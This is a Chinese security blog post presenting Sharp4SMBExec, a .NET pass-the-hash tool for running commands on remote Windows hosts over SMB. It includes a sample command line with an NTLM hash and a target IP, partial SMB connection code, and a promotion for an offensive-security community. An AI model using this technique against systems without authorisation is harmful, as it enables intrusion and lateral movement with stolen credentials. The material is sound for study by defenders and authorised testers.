当前位置: 首页 > article >正文

.NET 一款支持NTLM实现横向移动的工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4SMBExec 是一个强大的横向移动工具,允许用户在目标计算机上通过 SMB 协议执行命令,而无需知道目标用户的明文密码。只需要提供用户的 NTLM 哈希即可。这对于渗透测试和红队行动非常有用,因为在获取到用户的 NTLM 哈希后,可以利用该工具在目标机器上执行任意命令。

图片

03使用方法

获取明文数据库连接字符命令行格式如下:username 是目标系统上的用户名,hash 是该用户的 NTLM 哈希,command 是要在目标机器上执行的命令,target 是目标计算机的 IP 地址。

Sharp4SMBExec.exe username:Ivan1ee hash:32ed87bdb5fdc5e9cba88547376818d4 command:c:\windows\system32\winver.exe target:192.168.101.141

04原理解析

工具的实现核心是利用 TcpClient 类来建立与目标计算机的 SMB 连接,并发送经过 NTLM 认证的 SMB 消息。以下是关键代码的解释:

TcpClient tcpClient = new TcpClient();
tcpClient.Client.ReceiveTimeout = 60000;
try
{
    tcpClient.Connect(text, 445);
}
catch
{
    stringBuilder.AppendLine("Could not connect to Target");
}

这段代码使用 TcpClient 尝试连接目标机器的 445 端口,这是 SMB 协议的默认端口。如果连接失败,将记录错误信息。下面这部分代码首先检查是否成功连接目标计算机。

if (tcpClient.Connected)
{
    if (flag3)
    {
        stringBuilder.AppendLine(string.Format("Connected to {0}", text));
    }
    NetworkStream stream = tcpClient.GetStream();
    byte[] array6 = new byte[1024];
    string text8 = "NegotiateSMB";
    byte[] bytesToSend;
    OrderedDictionary orderedDictionary = new OrderedDictionary();
    num2++;
    byte[] array9 = new byte[2];
    array9[0] = 1;
    orderedDictionary = SMBExec.SMB2Header(array9, num2, packet_tree_ID, packet_session_ID);
    OrderedDictionary packet_ordered_dictionary2 = SMBExec.NTLMSSPNegotiate(array2, null);
    byte[] array10 = Utilities.ConvertFromPacketOrderedDictionary(orderedDictionary);
    orderedDictionary2 = SMBExec.SMB2SessionSetupRequest(Utilities.ConvertFromPacketOrderedDictionary(packet_ordered_dictionary2));
    byte[] array11 = Utilities.ConvertFromPacketOrderedDictionary(orderedDictionary2);
    bytesToSend = Program.GetNetBIOSSessionService(array10.Length, array11.Length).Concat(array10).Concat(array11).ToArray<byte>();
}

然后,通过 NetworkStream 获取网络流并构造 SMB2 消息来进行初始协商(NegotiateSMB)和会话设置(SessionSetupRequest)。这些消息使用 NTLM 认证信息,以便后续的命令执行请求能够被目标机器识别和接受。

综上,Sharp4SMBExec 是一个强大的渗透测试工具,通过使用 NTLM 哈希,可以在目标计算机上远程执行命令。其实现原理基于 SMB 协议的操作与 NTLM 认证,是进行横向移动和攻击 Windows 环境的利器。工具已经打包在星球,感兴趣的朋友可以加入自取。

05.NET安全星球

dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,每日分享.NET安全技术干货以及交流解答各类技术等问题。

图片

图片

图片

星球20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片

.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输

图片


http://www.kler.cn/a/301301.html

相关文章:

  • 01_MinIO部署(Windows单节点部署/Docker化部署)
  • 台式电脑没有声音怎么办?台式电脑没有声音解决详解
  • 【微软:多模态基础模型】(4)统一视觉模型
  • Ubuntu22.04基于ROS2-Humble安装moveit2教程(亲测)
  • HTML之列表学习记录
  • 华东师范大学数学分析第五版PDF习题答案上册及下册
  • Python实现模糊逻辑算法
  • 今年白银市场的供需关系矛盾
  • Java教程:SE进阶【十万字详解】(上)
  • Android Environment 获取的路径问题
  • MySQL灾难恢复策略:构建稳健的备份与恢复机制
  • vue3项目npm i安装依赖一直转圈或安装失败解决方法~
  • CCF刷题计划——矩阵运算(同时转置+乘法)
  • 深度学习驱动的车牌识别:技术演进与未来挑战
  • 主窗口的设计与开发(二)
  • 3、三维重建-NeuralRecon
  • 东莞网站制作-如何优化推广
  • web框架
  • 【linux】一种基于虚拟串口的方式使两个应用通讯
  • 使用kubeadm手动安装K8s
  • C++学习笔记----6、内存管理(五)---- 智能指针(4)
  • 使用patch命令移除sts中的一个container
  • 【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+JPEG图片马)
  • 力扣100题——动态规划
  • 【MATLAB】数据和字符串类型转换
  • 路由器出现DNS(Domain Name System)没有被解析的情况,没有被解析的情况,通常是由多种原因导致的。以下是一些可能的原因及相应的解释: